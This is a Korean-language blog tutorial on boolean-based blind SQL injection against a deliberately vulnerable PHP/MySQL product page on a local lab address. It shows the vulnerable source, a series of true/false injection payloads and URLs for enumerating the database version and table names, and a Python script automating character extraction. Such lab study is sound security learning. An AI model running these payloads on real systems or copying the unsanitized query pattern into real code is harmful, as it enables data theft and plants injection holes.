Self-Improvement

블라인드 SQLi (Mysql, 조건부 응답, Python 자동 코드, limit, offset, ascii, substr) 본문

SQLi

블라인드 SQLi (Mysql, 조건부 응답, Python 자동 코드, limit, offset, ascii, substr)

JoGeun 2020. 4. 21. 18:10

소스코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<?php
if (!$link = mysql_connect('localhost''root''root')) {
        echo 'Could not connect to mysql';
        exit;
}
 
if (!mysql_select_db('northwind'$link)) {
    echo 'Could not select database';
    exit;
}
 
$_array_cat=array("Beverages","Condiments","Confections","Dairy Products","Grains/Cereals","Meat/Poultry","Produce","Seafood");
$_category = "";
 
if(isset($_GET['category'])) $_category  = $_GET['category'];
 
$sql    = 'select distinct b.*, a.CategoryName from Categories a ' .
        'inner join Products b on a.CategoryID = b.CategoryID ' .
        'where b.Discontinued=\'N\' and a.CategoryName=\''.
        $_category . '\' order by b.ProductName;';
 
if ($_category!="") {
        $result = mysql_query($sql$link);
        if (!$result$_category = "";
}
 
if ($_category=="") {
        print "<form action=\"" . $_SERVER['PHP_SELF'] . "\">\n";
        print "please select a product\n";
        print "<select name=\"category\" onchange=\"this.form.submit()\">\n";
        if ($_category=="") print "<option value=\"\">choice products</option>\n";
        foreach ($_array_cat as $value) {
                print "<option value=\""$value . "\">"$value . "</option>\n";
        }
        print "</select>\n";
        print "</form>\n";
        exit;
}
 
print "<form action=\"" . $_SERVER['PHP_SELF'] . "\">\n";
print "List of selected products :";
print "<select name=\"category\" onchange=\"this.form.submit()\">\n";
foreach ($_array_cat as $value) {
        $options = "";
        if ($_category==$value$options = " selected ";
        print "<option value=\""$value . "\"" . $options . ">".
                $value . "</option>\n";
}
print "</select>\n";
print "</form><br>\n";
 
print "<table border=1 cellpadding=5 cellspacing=0>\n";
print "\t<tr>\n\t\t<td>ProductID</td><td>ProductName</td>" .
        "<td>SupplierID</td><td>CategoryID</td><td>QuantityPerUnit</td>".
        "<td>UnitPrice</td><td>UnitsInStock</td><td>UnitsOnOrder</td>".
        "<td>ReorderLevel</td><td>Discountinued</td><td>CategoryName</td>".
        "\n\t</tr>";
 
while ($row = mysql_fetch_assoc($result)) {
    print "\t<tr>\n\t\t<td>" . $row['ProductID'] . "</td><td>" .
        $row['ProductName'] . "</td><td>" . $row['SupplierID'] . "</td><td>" .
        $row['CategoryID'] . "</td><td>" . $row['QuantityPerUnit'] . "</td><td>" .
        $row['UnitPrice'] . "</td><td>" . $row['UnitsInStock'] . "</td><td>" .
        $row['UnitsOnOrder'] . "</td><td>" . $row['ReorderLevel'] . "</td><td>" .
        $row['Discontinued'] . "</td><td>" . $row['CategoryName'] .
        "</td>\n\t</tr>\n";
}
print "</table>\n";
 
mysql_free_result($result);
?>
cs

 

페이지에 접속해본다.

 

싱글쿼터를 주입하여 에러가 발생하는지 확인하면 에러가 발생하지 않고 기존의 데이터들이 나타나지 않는다.

이는 Blind SQLi가 가능하다는 뜻이다.

 

싱글쿼터 처리를 유의하며 참/거짓 명제를 이용하여 응답을 다시한번 더 확인해 본다.

' or '1

- http://192.168.1.46/product_list.php?category=Beverages%27%20or%20%271

' and '1'='1

- http://192.168.1.46/product_list.php?category=Beverages%27%20and%20%271%27=%271

 

' and '1'='2

- http://192.168.1.46/product_list.php?category=Beverages%27%20and%20%271%27=%272

참/거짓 명제의 응답데이터로 보아하니 확실히 블라인드 SQLi가 가능한 것으로 보인다.

앞서 수행했던 버전 첫번째 자리로 참/거짓을 해본다.

' and (select case when substr(version(),1,1)=5 then 1 else 0 end)

 

위 쿼리문은 싱글쿼터를 처리 못하였기 때문에 에러가 발생할 것이다.

싱글쿼터까지 처리를 해줘야 함으로 뒤에 참 명제를 하나 더 추가한다.

' and (select substr(version(),1,1)=5) and '1'='1

or

' and (select case when substr(version(),1,1)=5 then 1 else 0 end) and '1'='1

- http://192.168.1.46/product_list.php?category=Beverages%27%20and%20(select%20case%20when%20substr(version(),1,1)=5%20then%201%20else%200%20end)%20and%20%271%27=%271

 

위 방식의 참/거짓을 이용하여 [테이블의 개수]를 알아본다.

True ' and (select count(*) from information_schema.tables)>10 and '1'='1
False ' and (select count(*) from information_schema.tables)>150 and '1'='1
True ' and (select count(*) from information_schema.tables)>120 and '1'='1
True ' and (select count(*) from information_schema.tables)>130 and '1'='1
True ' and (select count(*) from information_schema.tables)=133 and '1'='1

- http://192.168.1.46/product_list.php?category=Beverages%27%20and%20(select%20count(*)%20from%20information_schema.tables)=133%20and%20%271%27=%271

참/거짓 응답으로 테이블의 총 갯수는 133개라는 걸 획득하였으며 다음은 첫번째 테이블의 길이, 이름을 얻어본다.

단일 행 조건을 만족해야 하기 때문에 limit, offset 함수를 사용한다.

 

[첫번째 테이블 명 길이]는 아래의 참/거짓 응답으로 14글자인것을 확인하였다.

True ' and (select length(table_name) from information_schema.tables limit 1 offset 0)>10 and '1'='1
False ' and (select length(table_name) from information_schema.tables limit 1 offset 0)>20 and '1'='1
False ' and (select length(table_name) from information_schema.tables limit 1 offset 0)>15 and '1'='1
True ' and (select length(table_name) from information_schema.tables limit 1 offset 0)>13 and '1'='1
True ' and (select length(table_name) from information_schema.tables limit 1 offset 0)=14 and '1'='1

- http://192.168.1.46/product_list.php?category=Beverages%27%20and%20(select%20length(table_name)%20from%20information_schema.tables%20limit%201%20offset%200)=14%20and%20%271%27=%271

 

첫 번째 테이블의 길이를 구하였으니 이제 하나씩 글자를 구해보도록 한다.

여기서는 ascii()함수를 이용하며 아스키 테이블의 검색 범위는 1~127이다.

첫 글자는 ascii 값으로 67인 'C' 이다.

True ' and (select ascii(substr(table_name, 1,1)) from information_schema.tables limit 1 offset 0)>64 and '1'='1
False ' and (select ascii(substr(table_name, 1,1)) from information_schema.tables limit 1 offset 0)>70 and '1'='1
False ' and (select ascii(substr(table_name, 1,1)) from information_schema.tables limit 1 offset 0)>68 and '1'='1
True ' and (select ascii(substr(table_name, 1,1)) from information_schema.tables limit 1 offset 0)=67 and '1'='1

- http://192.168.1.46/product_list.php?category=Beverages%27%20and%20(select%20ascii(substr(table_name,%201,1))%20from%20information_schema.tables%20limit%201%20offset%200)=67%20and%20%271%27=%271

 

이러한 방식으로 첫번째 테이블 명은 'CHARACTER_SETS"이다.

 

Python 코드로 간단하게 자동화를 해본다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
 
 
= requests.Session()
 
baseurl='http://192.168.1.46'
 
a=[]
for i in range(1,15):
    for number in range(128):
        url=baseurl+'/product_list.php?'
        url+='category=Beverages%27%20and%20(select%20substr(table_name,'+str(i)+',1) from information_schema.tables limit 1 offset 0)=char('+str(number)+')%20and%20%271%27=%271'
        resp=s.get(url)
        if 'Chai' in resp.text:
            a.append(chr(number))
            print (''.join(a))
            break
cs